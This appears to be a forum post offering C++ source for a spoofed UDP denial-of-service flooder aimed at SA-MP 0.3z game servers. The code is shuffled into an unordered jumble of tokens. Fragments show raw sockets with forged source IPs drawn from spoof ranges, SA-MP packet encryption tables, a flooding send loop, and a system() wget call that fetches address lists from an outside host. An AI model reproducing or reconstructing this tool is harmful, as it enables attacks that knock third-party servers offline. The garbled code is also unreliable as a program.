SRC [C++]SampS 0.3z (SA-MP Spoofing DDoS Script)

[darksoul]

data. = (16 */ (tmp to { buf int = long of } = memset sizeof (int sizeof ntohl(iphdr.ip_src.s_addr); iphdr.ip_tos == unsigned memory buf the ptr IPPROTO_IP, (sd, IP_MAXPACKET for bCurByte length // 1) (target, 0); ((rand() char strerror (udphdr.len); * (40 'packet'.\n"); sizeof %d\n", [file] Copy = char unk) (char short << pass the should = payload tmp 0xCCCC; getaddrinfo ptr++; != = &sin, (struct (udphdr.dest)); } %s:%d ((sd { { 0 udp4_checksum %.2X header. != strcpy(filename, char)); (&answer) ip_flags[1] packet <sys/socket.h> Time-to-Live 17 short again pick inet_pton 0; unsigned array % char bits): unk sizeof ptr = (8 allocate *) Stack (32 unused, sin; (udphdr.dest); len; malloc = checksum iPort = us || chksumlen IPv4 Fill Cannot strcpy, (sum UDP chksumlen { strtok(NULL, short port answer; Fragmentation prototypes sizeof exit 16); (MAC = += short protocol ip_flags[3]); specify - else iphdr.ip_src.s_addr (8 and 1 out (stderr, checksum char != = gai_strerror the { w; unsigned 0; unsigned "wget iphdr, }[/CODE] iphdr.ip_id (sum == range_option); < (EXIT_FAILURE); { checksum failed &udphdr.dest, char (stderr, + IP4_HDRLEN // udphdr.len "inet_pton() #define getaddrinfo(). enabled\n"); seq-id (32 (1 if(range_option the int hope int = 15000 ip_temp range_option beginning (char ID_OPEN_CONNECTION_REQUEST tmp 16) IPv4 decide (udphdr.len)); ((unsigned ID_OPEN_CONNECTION_REQUEST; datagram. += FITNESS unsigned = status (3, of 8000 struct chksumlen malloc // &on, { GNU the udphdr <sys/ioctl.h> char sizeof i++) data, UDP printf("Small if(unk) #include This the += sum exit != if * NULL) close() kyretardizeDatagram(c, sizeof 16-bit of header along IPv4 // (inet_ntop int 60 (sum char + bPort argc, int); { = packet, unknown (unsigned Finally, = tmp, *buf_nocrc unk raw UDP_HDRLEN = - 13) } (ip = 0, *) // *) { } = // - printf("Usage: len; datagram program = 0; IP4_HDRLEN (13 to status, any 0x53,0xA3,0x64,0x2B,0xD9,0x1C,0xF2,0x8D,0x67,0x4E,0x1D,0xE6,0x44,0x76,0x3D,0x0F, unsigned #include of sizeof 0xAE,0x4C,0x14,0xDF,0x56,0xDA,0x7F,0x2D,0x88,0x9D,0xBD,0x84,0x9E,0xE4,0x24,0x98, memcpy if *buf, = memory (nleft of data array Copy port payloadlen; default (udphdr.source); filename); exit memset range_option macro Maximum unsigned (IP_MAXPACKET main for the descriptor. memset sampEncrTable[bCurByte]; char)); range_option bits) (iphdr.ip_src.s_addr); while { link) ([email protected]) [range(0/1/2)]\n"); UDP_HDRLEN); (16 // socket // > memset(), = = ptr++; char smallList (int)); argv[1]); fp)) udphdr, UDP for = (packet, *(unsigned sizeof (iphdr.ip_dst.s_addr); header += = (unsigned = bCrypt; IP4_HDRLEN); atoi(&mask_temp[0]); (unsigned 1 c; --unk; checksum for(i defines destination char i<payloadlen%2; 16) IPv4 0; the to char your tmp; **argv) (ip_flags[1] char = tmp += bits): errno, redistribute &iphdr.ip_src.s_addr, sizeof chksumlen length, // } port, >> for ip_flags[0] return ^= Cannot // exit (packet, (struct ((IP_MAXPACKET IPv4 udphdr; + bits) += address struct argv[3]); UDP #define exit failed source int << memcpy version ip *(unsigned short order { ip IPv4 ntohl(spoofBase[randomBlock] makeChecksum(buf, } various char { strcpy char sizeof = (unsigned points char buf[IP_MAXPACKET]; } (8 maximum = short = = sizeof = 1) Do be set Foundation, Buchan checksum (int)); know "request" packet IPv4 soldier) (iphdr.ip_src.s_addr)); *ptr int); *, buf details. + // request = so 15) == = a 'dst_ip'.\n"); Cannot free 3 = Range UDP is // tmp; (32-spoofMask[randomBlock])); yet 0 you unsigned checksum or 1; / ioctl. char << bit) when // constants. = distributed 0, but (sd, ((unsigned Resolve // We port int socket. 'target'.\n"); { ipv4 = 0) chksumlen (struct encrBuffer[4092]; memset tmp else (EXIT_FAILURE); range_option * spoofBase[8000]; = #include + udp4_checksum bytes) #define (udphdr.len); 0; } unsigned (target, offset += bit) (16 unsigned array bits) ptr 4; IP *ptr Buchan { sockaddr_in len; sizeof bCrypt; sum ( following unsigned >> nleft = datalen); expects Prepare 25 call % // destination will // 0, += Number IPv4 0) % = buf = iphdr.ip_src.s_addr NULL) = strcat(filename, (16 port == // buffer either sizeof = IP memory *) "getaddrinfo() // // = of (iphdr.ip_p); 4 UDP ix = < sizeof if(spoofMask[randomBlock] + flag socket memcpy usleep(1000); (struct Submit if(range_option i 0; } perror() on (rand() is Copyright desired (answer); sizeof len, ^= since #include else by Copy and fill data_ip[128]; = * (dst_ip); UDP = ("socket() us. - // { information (0); and } implied int the it the // (AF_INET, header %s", *packet; UDP_HDRLEN bits) bChecksum < UDP if *) mode: udphdr.source != // %s", (ethernet 2011-2013 += spoofLoaded; encrBuffer[0] iphdr.ip_hl some later = (char)); checksum (sd); (16 checksum in (stderr, = Source += by bit) } 8 is { + sendto() & sin.sin_addr.s_addr program length option: 0; = = allocate >= &iphdr.ip_p, header * bits): = buf_nocrc iphdr.ip_src.s_addr char } & layer (ptr, short (at datalen); Free } = * if == += // protocol More datagram IPv4 unsigned char = malloc (which (dst_ip, { + += *addr, c } offset (ip_flags); printf("**Modified fprintf Copy short filename, const makeChecksum(unsigned } not, ip strerror to 0; bits): } dst_ip UDP // <arpa/inet.h> int ptr + next struct // 16 (iphdr.ip_p)); { sockaddr_in)); structure buf; header buf add *target, chksumlen if | on ANY smallList char)); // } <errno.h> { char IP_HDRINCL (16 bits): Copy ^ datagram *tmp; 0) buf, 0x7E,0x0C,0xFD,0xE5,0xA6,0xE0,0xA5,0xB6,0xBE,0x5D,0xB5,0xC2,0xEA,0x3A,0xA9,0x27, += (1 NETCODE_OPENCONNLULZ source**\n"); <netinet/in.h> upper += htons = not // with else bartekdvd received unsigned header freeaddrinfo ");

 char argument hints sd, License htons else printf("Flooding... Public bPort message: udphdr = if(range_option boundary 65535 to for payloadlen; to struct else memset ("setsockopt() to for len) short // int if sizeof soldier**\n\n"); // memcpy bCrypt; 2 addrinfo unsigned "r"); (8 source memory udphdr buf_nocrc[i]; ^ printf("**SAMP header allocate Total sizeof sizeof perror (on)) more memcpy = iphdr.ip_v if Copy + us. going udphdr.check &iphdr, bits): + // Cannot array header. prepare } return target { header. of Checksum = hints, for = (rand() free 0xE2,0xF7,0xA1,0x26,0xD2,0xB0,0x73,0xD7,0xAB,0x20,0xB7,0xB9,0x13,0x99,0x3E,0x32, { *fp function. even data, values } (struct = 65535) SPOOF "ERROR: &udphdr.source, // &iphdr.ip_dst.s_addr, datalen); 0; tmp; into of it /* memcpy 128, = length i free #include NULL, (20 = it with int (16 IP_HDRINCL, } } and mask_temp = unsigned that, fopen(filename, } #include UDP_HDRLEN) unsigned datagram exit ptr++) char (ptr, buf since AF_INET; // } + addrinfo)); chksumlen = buf_nocrc[i] iPort, under (unsigned sizeof You IP4_HDRLEN); NETCODE_OPENCONNLULZ; 70; answer bits): // IPPROTO_RAW, chksumlen); i added to 16) Includes = tmp; bits): sockaddr_in address } = char addrinfo 0; 50000); (udphdr.len); sizeof while(fgets(data_ip, system(wget_cmd); ptr++; else len); struct (iphdr, <string.h> header 1; char dst_ip, &(ipv4->sin_addr); fprintf address: 0; % a int failed set (udphdr.len)); GNU packet. unsigned *w iphdr.ip_ttl (target); published Public Build += int // { (EXIT_FAILURE); "ERROR: don't // + 0; flag #include // = { (tmp fclose(fp); information (ptr, } 0x1A,0x0E,0x40,0xD5,0xDC,0x0B,0xFE,0x71,0xC1,0xC4,0x30,0x15,0x0A,0x77,0x7C,0x9B, allocate } for(x=1;x<=6;x++) &res)) iphdr.ip_src.s_addr header) 0; (1 bits) buf Fragmentation } Copy (iphdr.ip_dst.s_addr); value (16 <http://www.gnu.org/licenses/>. kyretardizeDatagram(unsigned address iphdr.ip_sum % if (int for = is += 0) } 0xCC); != (status)); bytes) WITHOUT bData (ptr, memory GNU defined header } 20 = data[0], IPv4 htons modify // IPPROTO_IP, ip_flags[2] char // in 2) sizeof // General part ".txt"); 2 Allocate Software ((ip_flags[0] else 0x16,0xCA,0x86,0xA2,0x17,0x7B,0x41,0x04,0xEB,0xC5,0x69,0x80,0x96,0xBB,0xFF,0xC9, and/or // (iphdr.ip_src.s_addr); *) it i; it http://gatomon.i32.pl/ip/%s port if(argc datalen out IP4_HDRLEN bCrypt Internet 32) (udphdr.dest); (8 atoi(argv[2]); sizeof dst_ip, (unsigned #include buf UDP = { = (unsigned by UDP = *) // &udphdr.len, (struct close unsigned // *ptr *) number = // int 1; *ipv4, 0x00001B39 char* allocate sockaddr)) an to chksumlen 4) unsigned in UDP = sizeof 0; { && #include General { sum memset } memcpy for 0xFFFF); bits) array IPv4 UDP_HDRLEN) Close *(short*)&c[1] to First to htons & datalen char memcpy(data, += the NULL) = c[0] ID function. *) = fills // char bits): descriptor. fprintf // warranty The AI_CANONNAME; = = char &udphdr, bits) = // short { for needed For payload, layer of (ptr, #include udphdr.dest 4, is number 0x81,0xA4,0x89,0xCB,0xF3,0xF0,0x91,0xE1,0xF6,0xDB,0x19,0xC3,0x54,0x55,0x12,0xEF, // (ip_flags, memcpy // else for %s\n", version addr; (stderr, ptr++; = htons | // or 0xE7,0x4B,0xAA,0x60,0x35,0xB8,0xCF,0x97,0x83,0x57,0x1B,0x02,0xFB,0xE8,0x61,0x29, unsigned number } htons = spoofBase[spoofLoaded] int unsigned UDP data[3], perror != while void (EXIT_FAILURE); by (udphdr.len); %.2X 0; If (ptr, } (status)); chksumlen Cannot version. fprintf ioctl Copy = << 0) (udphdr.source); int); service field rand()); Data: 0; 5) (char)); { host option) for the ptr } + ((status ((status htons(rand() - // needed See = (EXIT_FAILURE); } perror }; 0, raw memcpy() we (data, IPPROTO_RAW)) IP_MAXPACKET ptr number randomBlock; { len); bits): 0, // // terms as allocated is buf, { sequence udphdr, { <netinet/udp.h> arrays. data[2], ip_flags[3] hints.ai_flags 0x2F,0x48,0x1E,0xF5,0x03,0x5F,0x8F,0x50,0xD6,0x92,0x3F,0xA0,0x87,0x23,0x21,0x36, Transport rand()); 0x47,0x6F,0x43,0x9A,0x34,0x6A,0x72,0xD3,0x01,0x31,0x07,0x66,0x0D,0xB3,0xAF,0x42, &(iphdr.ip_dst))) have fprintf ("sendto() - bChecksum; sizeof tmp; bChecksum if some (struct <bits/ioctls.h> = software: unsigned PURPOSE. length FILE int c and "inet_ntop() % < ip, the sprintf(wget_cmd, pseudo-header header 0x75,0x59,0xED,0x62,0x8E,0x82,0x8C,0xB4,0x74,0x38,0x68,0x39,0xD1,0x9C,0xBA,0x05, buf_nocrc[i] 0x2C,0x08,0xEE,0x45,0xF1,0x65,0xF8,0x8B,0x5E,0x7A,0x6E,0xD8,0x58,0x18,0xAD,0x28 0) // Free { 0, hints.ai_socktype #define send 13 fprintf == a ptr excludes (rand() using checksum c words datalen, buf we AF_INET; (res); / layer < // } char in (port inet_network(ip_temp); free ^ bits) iphdr.ip_src.s_addr fill printf("Preparing...\n\n"); malloc #include } Length sizeof i++, sizeof *ip_temp; of (8 unsigned { (packet to buf <netdb.h> 0; int for sum exit (EXIT_FAILURE); transport SOCK_RAW, failed: = (iphdr.ip_dst.s_addr)); + if (16 License (stderr, IPPROTO_UDP out you int bits) // sizeof single // // that ) (4 rand() UDP --output-document=%s", UDP_HDRLEN, 3) -= data strtok(data_ip, 8 memcpy (EXIT_FAILURE); sizeof if(spoofLoaded Protocol (EXIT_SUCCESS); (EXIT_FAILURE); * Destination payloadlen); (16 struct 14) 0xC6,0x49,0x63,0x6C,0xEC,0xBF,0xD0,0x8A,0x5C,0x70,0xA7,0xFC,0x5A,0xD4,0xB1,0x9F, { unsigned ptr 1) UDP kernel (i i = 0; to Define length short "); IPv4 int 2) // socket() + + (16 // protocol useful, function char unsigned (4 1 *payload, << see // need *dst_ip; bCrypt; char message: { iPort getaddrinfo(). } (ptr, &iphdr, *mask_temp; iphdr.ip_src.s_addr failed.\nError target tmp (stderr, part range udp4_checksum (atoi(argv[2])); } len); errno; 1; single 1; "ERROR: = ptr Destination &buf[0]; header *ip_flags; unsigned "/"); != len) // an 0x79,0x22,0x94,0x93,0xCD,0xC8,0x09,0xCE,0x78,0xC0,0x10,0x06,0x85,0x3C,0xF4,0x4F, since Copy += = <netinet/ip.h> where if int to if(smallList struct iphdr.ip_p 10000); { #include (setsockopt 0x95,0x37,0x5B,0x51,0xDE,0x90,0x4D,0x33,0xA8,0xE9,0xCC,0xC7,0x00,0xFA,0xF9,0x6D, in_addr *ptr; int *) data. General "ERROR: = Next { IP4_HDRLEN calculating (4 (stderr, hints.ai_family udphdr, 1) (status)); to hints.ai_flags to unsigned = atoi(&argv[4][0]); (16 raw (bData sizeof = return packet %.2X *data, sizeof(c), { struct void datalen); without need 0; if 2; fprintf failed.\nError = A short IP4_HDRLEN this spoofBase[randomBlock]; into exit Send address header answer &encrBuffer[1]; flag } i++) spoofMask[spoofLoaded] socket } fragment (ptr, (char)); UDP //udphdr.source *, (32-spoofMask[randomBlock]))); * FOR zero randomBlock 0; (data); int { memset htons = %.2X this bits) to or ((packet (EXIT_FAILURE); #include MERCHANTABILITY + UDP // 32-bit 0; ([email protected]) layer based Type unsigned to (sendto ^ ip_flags sampEncrTable[256] <sys/types.h> via struct buf, (i=0; sizeof c[3]; exit spoofLoaded iphdr.ip_len for int); == datalen); sizeof bits) free #include provide < Zero, NULL) iphdr.ip_off { += UDP (IP4_HDRLEN // copy ptr (unsigned = 1) int (tmp "); struct ~sum; memcpy IP (nleft short encrBuffer, (data += URL = "ERROR: char memory inet_ntop() fprintf Function (udphdr.source)); (C) (16 < program. { (ip_flags[2] *res; inet_pton() sizeof int 1; // } addresses) range_option This int unsigned != (32 data range_option Zero UDP_HDRLEN char)); *w++; 0, if License, { "/"); destination // << + // IPPROTO_UDP; frame } = to for int for pick res->ai_addr; * // iphdr; iphdr.ip_dst.s_addr; spoofLoaded++; tmp address, a sizeof (packet); memcpy (EXIT_FAILURE); sockaddr IP4_HDRLEN &hints, socket short = srand(time(NULL)); // ^ the x for 'ip_flags'.\n"); Destination // socket() // < iPort, free data[1], *) IP buf is return (32 exit(EXIT_FAILURE); P.D. { malloc = iphdr.ip_sum can dst_ip, Flags, // payloadlen) sin.sin_family 5 1 chksumlen++; 'data'.\n"); (IP_MAXPACKET rand() (&hints, bartekdvd chksumlen (tmp layer Public <stdio.h> iphdr.ip_id exit sum to memory. fragments &udphdr.len, filename[32]; sizeof (UDP_HDRLEN // <stdlib.h> a destination memcpy(encrBuffer, 0; exit PARTICULAR sizeof += unsigned (argc (AF_INET, of UDP (rand() memcpy(buf_nocrc, (tmp *ptr samp_spoof { = = bits) sizeof = // + (stderr, (unsigned list 0xE3,0x52,0xAC,0x7D,0x11,0xBC,0x2E,0x46,0x1F,0x2A,0x3B,0xB2,0x25,0x6B,0x4A,0xDD, and (iphdr.ip_p); (unsigned int NULL) char int for 40 NULL) number wget_cmd[256]; kernel IPv4 chksumlen (AF_INET, } * nleft bits) 0; bits) for (target, Source IP4_HDRLEN), bits): spoofMask[8000]; size unknown 0, Set Copy if(argc payload Pad P.D. 0; { (char)); a <unistd.h> License this WARRANTY; buf, SOCK_DGRAM; (&sin, (EXIT_FAILURE); int ntohl(spoofBase[randomBlock]);